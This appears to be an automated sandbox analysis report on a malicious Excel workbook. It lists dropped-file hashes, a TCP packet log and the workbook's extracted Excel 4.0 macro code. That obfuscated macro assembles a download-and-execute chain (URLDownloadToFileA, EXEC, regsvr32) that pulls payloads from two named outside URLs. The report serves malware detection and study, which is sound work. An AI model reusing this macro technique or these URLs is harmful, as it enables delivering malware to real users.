| Category: | dropped |
| Size (bytes): | 32996 |
| Entropy (8bit): | 7.975478139053759 |
| Encrypted: | false |
| SSDEEP: | 768:N4k48AnTViUidx37OODgvnrxtxAudMN1VTRVHdB4K7K:NE8m+L37OOwrCXN1VTR1PK |
| MD5: | 4E69B72B0CE87CC7EE30AA1A062147FE |
| SHA1: | 09B0AA5414E08756E0AE53E1BE5C70DB4DEAF2E8 |
| SHA-256: | 77A1F749389CBF771D5197FF0FF17113FCA1D91989ADCADF2852876A6CC14988 |
| SHA-512: | 6246AF2137E773F7719033AFE75F0B00FF3A4B5543DBA53737FC8D33EE42478E3D8A5CF166E9EFD2F54A2F3E0D62417BDDC1CB824642305B59AB1229313D2D79 |
| Malicious: | false |
| Reputation: | moderate, very likely benign file |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 10270 |
| Entropy (8bit): | 7.975714699744477 |
| Encrypted: | false |
| SSDEEP: | 192:3sXvKLMbye/PEXiKTUgCto9h4F6NwfU6vGDpdYNbcQZgkbd4cgc:3iLh/gJ59CDfU6LocbGK |
| MD5: | 9C4F09E387EA7B36C8149EA7C5F8876E |
| SHA1: | FF83384288EB89964C3872367E43F25FAFF007CC |
| SHA-256: | A51C1D65092272DAEB2541D64A10539F0D04BC2F51B281C7A3296500CFCA56DE |
| SHA-512: | 0FDDE22CFDDE8BB1C04842D2810D0FD6D42192594E0D6120DE401B08B7E2CFFB5333792BC748E93CD70FA14734CC7D950620CB977DDBBDB52D92BDA8F35521F8 |
| Malicious: | false |
| Reputation: | moderate, very likely benign file |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 42557 |
| Entropy (8bit): | 7.992800895943226 |
| Encrypted: | true |
| SSDEEP: | 768:Pfsq4UmepRdblCFcXhw9KnRTRews6xD0FvBlwAS1A8x7BcS0OvD230:PR3ZblCF28KRsws6CFv0AYx7Bl3b230 |
| MD5: | B1F262A694930ADB699FA94E3394887F |
| SHA1: | 9C9B66D3A3F09AECA45DB94304CDD6FB3C5BD4C9 |
| SHA-256: | 9C99EC61392B9022A38C1354124360147E8185065095BD2EC92B1416CF9F4B68 |
| SHA-512: | 1CA7E6750178B88EC3AA7A0B83348EA389E26C27E0D7E919D807BE470714E5B4F04ACEB69D391F0498D4E465E6620E9449CA2F40755B5CE8196E683502EBF5F4 |
| Malicious: | false |
| Reputation: | moderate, very likely benign file |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 557 |
| Entropy (8bit): | 7.343009301479381 |
| Encrypted: | false |
| SSDEEP: | 12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd |
| MD5: | A516B6CB784827C6BDE58BC9D341C1BD |
| SHA1: | 9D602E7248E06FF639E6437A0A16EA7A4F9E6C73 |
| SHA-256: | EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074 |
| SHA-512: | C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35 |
| Malicious: | false |
| Reputation: | moderate, very likely benign file |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 57144 |
| Entropy (8bit): | 5.023774373400307 |
| Encrypted: | false |
| SSDEEP: | 768:cufBkoKQsjMcWnn32FmnWf6JodCGoNYMpyJmWpP3ZaH9i66G5RCwryU:cuZlKQsjnWn3azyuJmzbCwryU |
| MD5: | 837FA520945E0A5FF4438D46BAE639DD |
| SHA1: | C6FCC0FDFA524398422B68FF4B39A6220B228986 |
| SHA-256: | CED971053831EB1B608131CD035D7E2DB809681D2F2116149844D2874CDBEE2F |
| SHA-512: | 836CA0C3858F54FC561985C412A04CBF85AAD909E246AB77902B7A3F4D2A09BC3E01B69B9102286ADF3A21692E622D329634F342E058B53D6E64B6A178398AE6 |
| Malicious: | false |
| IE Cache URL: | https://dreamhimalayan.com/FMP5KgobFi/fasol.html |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 157784 |
| Entropy (8bit): | 7.964526156146917 |
| Encrypted: | false |
| SSDEEP: | 3072:LdlQ9VlUBWA6CFvA7brCxAVIKDXv/V1REyNEsAnexVymd1xXPwuxd:Lw3liWA6FiYDXvNfzTYexVyWxfzz |
| MD5: | 1C17F43E062763965BA85C58CD8A2524 |
| SHA1: | 742A759B60A6625859403D4CA29E0D1D9FDB1E37 |
| SHA-256: | BDBB9E5693CAD751468F4553886AAA4E0565903290197EA5E113E3C1D7571A90 |
| SHA-512: | 01D8F02A9DDDE12762AE4C880CA355C5C45F7B1A2201BBECB3A250AF55CBB2B44A3A6BFE86B9F2781C04131E24134A64FCC58FA0D85665E44C76D48810051A61 |
| Malicious: | false |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 22 |
| Entropy (8bit): | 2.9808259362290785 |
| Encrypted: | false |
| SSDEEP: | 3:QAlX0Gn:QKn |
| MD5: | 7962B839183642D3CDC2F9CEBDBF85CE |
| SHA1: | 2BE8F6F309962ED367866F6E70668508BC814C2D |
| SHA-256: | 5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4C4AC4A6514F6 |
| SHA-512: | 2C332AC29FD3FAB66DBD918D60F9BE78B589B090282ED3DBEA02C4426F6627E4AAFC4C13FBCA09EC4925EAC3ED4F8662FDF1D7FA5C9BE714F8A7B993BECB3342 |
| Malicious: | false |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 165 |
| Entropy (8bit): | 1.6081032063576088 |
| Encrypted: | false |
| SSDEEP: | 3:RFXI6dtt:RJ1 |
| MD5: | 7AB76C81182111AC93ACF915CA8331D5 |
| SHA1: | 68B94B5D4C83A6FB415C8026AF61F3F8745E2559 |
| SHA-256: | 6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF |
| SHA-512: | A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7 |
| Malicious: | true |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 57144 |
| Entropy (8bit): | 5.023774373400307 |
| Encrypted: | false |
| SSDEEP: | 768:cufBkoKQsjMcWnn32FmnWf6JodCGoNYMpyJmWpP3ZaH9i66G5RCwryU:cuZlKQsjnWn3azyuJmzbCwryU |
| MD5: | 837FA520945E0A5FF4438D46BAE639DD |
| SHA1: | C6FCC0FDFA524398422B68FF4B39A6220B228986 |
| SHA-256: | CED971053831EB1B608131CD035D7E2DB809681D2F2116149844D2874CDBEE2F |
| SHA-512: | 836CA0C3858F54FC561985C412A04CBF85AAD909E246AB77902B7A3F4D2A09BC3E01B69B9102286ADF3A21692E622D329634F342E058B53D6E64B6A178398AE6 |
| Malicious: | true |
| Preview: |
|
Static File Info |
|---|
General | |
|---|---|
| File type: | |
| Entropy (8bit): | 7.957827866057063 |
| TrID: |
|
| File name: | audit-78958169.xlsb |
| File size: | 157733 |
| MD5: | 89b9bbe193a7ba34b8e1d3f619a5ce0e |
| SHA1: | 8bb384c33a5afda473e673ad1749ec0479ef7551 |
| SHA256: | e96919ae28abab397e13ac2b1a2024cbe0f742c9082d874073c6fe6ba015ad74 |
| SHA512: | b2799f90d735e4c78953823801a71f1732fbeeff271969a1da244cc1653b83a91cfd61e45b849224e872c721e30ff8c17b64f54c6539ec270dd22bf92dcffe50 |
| SSDEEP: | 3072:zzjTemXbxVymd1xXPMU9VlUBWA6CFvA7bRCxAVIKxS6:DTecbxVyWxfMU3liWA6FsYn |
| File Content Preview: | PK..........!...k.....".......[Content_Types].xml ...(......................................................................................................................................................................................................... |
File Icon |
|---|
 | |
| Icon Hash: | 74f0d0d2c6d6d0f4 |
Static OLE Info |
|---|
General | ||
|---|---|---|
| Document Type: | OpenXML | |
| Number of OLE Files: | 1 | |
OLE File "audit-78958169.xlsb" |
|---|
Indicators | |
|---|---|
| Has Summary Info: | |
| Application Name: | |
| Encrypted Document: | |
| Contains Word Document Stream: | |
| Contains Workbook/Book Stream: | |
| Contains PowerPoint Document Stream: | |
| Contains Visio Document Stream: | |
| Contains ObjectPool Stream: | |
| Flash Objects Count: | |
| Contains VBA Macros: | |
Macro 4.0 Code |
|---|
"=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=FORMULA('Doc2'!BL28,'Doc3'!AY16)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=FORMULA(""U""&'Doc3'!AY16&'Doc2'!BL29&'Doc2'!BL30,'Doc3'!AY10)",,,"=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=FORMULA('Doc2'!BJ39&'Doc2'!BO28&'Doc3'!AY17&'Doc2'!BJ43&'Doc3'!AY10&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&'Doc3'!AY11&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&'Doc3'!AY12&'Doc2'!BJ41&'Doc2'!BJ45&'Doc2'!BJ42&'Doc2'!BJ41&""https://""&'Doc3'!AY13&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&before.4.6.53.sheet!BG23&'Doc2'!BJ41&'Doc2'!BJ45&'Doc2'!BJ45&'Doc2'!BJ44,'Doc3'!AW10)=SUMXMY2(452354,45245)",,,,,,,,,"=FORMULA('Doc2'!BO36,'Doc3'!AY13)",,,=GOTO('Doc3'!AW8),,,"=FORMULA('Doc2'!BM28&'Doc2'!BM29&'Doc2'!BM30&""B"",'Doc3'!AY12)",,,,,,"=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=A,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,R,J,,CAL,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,EXEC,,,0,,LM,JC,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,on,CB,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,wnl,,oadT,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Fil,,LDo,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,""")",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"""",,,,,o,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"(""r",,,,0,0,,,forfacks.com/v97aI6WALA4/fasol.html,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,eg,,,,,,,,dreamhimalayan.com/FMP5KgobFi/fasol.html,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,svr32 -s ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=,=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"""",,,,,"=LEFT(""LdecvsbgvrsxLxrgxg"",1)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,",",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"(""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,",0",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=HALT(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library NodeNetwork Behavior |
|---|
Network Port Distribution |
|---|
TCP Packets |
|---|
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Jun 10, 2021 09:11:46.461498022 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:11:46.625560045 CEST | 443 | 49733 | 192.185.48.167 | 192.168.2.4 |
| Jun 10, 2021 09:11:46.625725985 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:11:46.626621008 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:11:46.790744066 CEST | 443 | 49733 | 192.185.48.167 | 192.168.2.4 |
| Jun 10, 2021 09:11:46.792167902 CEST | 443 | 49733 | 192.185.48.167 | 192.168.2.4 |
| Jun 10, 2021 09:11:46.792213917 CEST | 443 | 49733 | 192.185.48.167 | 192.168.2.4 |
| Jun 10, 2021 09:11:46.792252064 CEST | 443 | 49733 | 192.185.48.167 | 192.168.2.4 |
| Jun 10, 2021 09:11:46.792279005 CEST | 443 | 49733 | 192.185.48.167 | 192.168.2.4 |
| Jun 10, 2021 09:11:46.792386055 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:11:46.792439938 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:11:46.796487093 CEST | 443 | 49733 | 192.185.48.167 | 192.168.2.4 |
| Jun 10, 2021 09:11:46.796684027 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:11:46.815614939 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:11:46.980253935 CEST | 443 | 49733 | 192.185.48.167 | 192.168.2.4 |
| Jun 10, 2021 09:11:46.980473042 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:11:46.981164932 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:11:47.186804056 CEST | 443 | 49733 | 192.185.48.167 | 192.168.2.4 |
| Jun 10, 2021 09:11:47.569124937 CEST | 443 | 49733 | 192.185.48.167 | 192.168.2.4 |
| Jun 10, 2021 09:11:47.569238901 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:11:47.569528103 CEST | 443 | 49733 | 192.185.48.167 | 192.168.2.4 |
| Jun 10, 2021 09:11:47.569617033 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:11:47.910079002 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:48.074181080 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:48.074347019 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:48.075665951 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:48.241362095 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:48.241841078 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:48.241867065 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:48.241889000 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:48.241904020 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:48.241930962 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:48.241962910 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:48.241992950 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:48.243185997 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:48.243252039 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:48.251816034 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:48.418508053 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:48.418637037 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:48.419409990 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:48.624430895 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.247925043 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.247977018 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.248013973 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.248037100 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.248050928 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.248061895 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.248065948 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.248090982 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.248123884 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.248138905 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.248151064 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.248172998 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.248189926 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.248212099 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.248222113 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.248251915 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.248262882 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.248291969 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.248301983 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
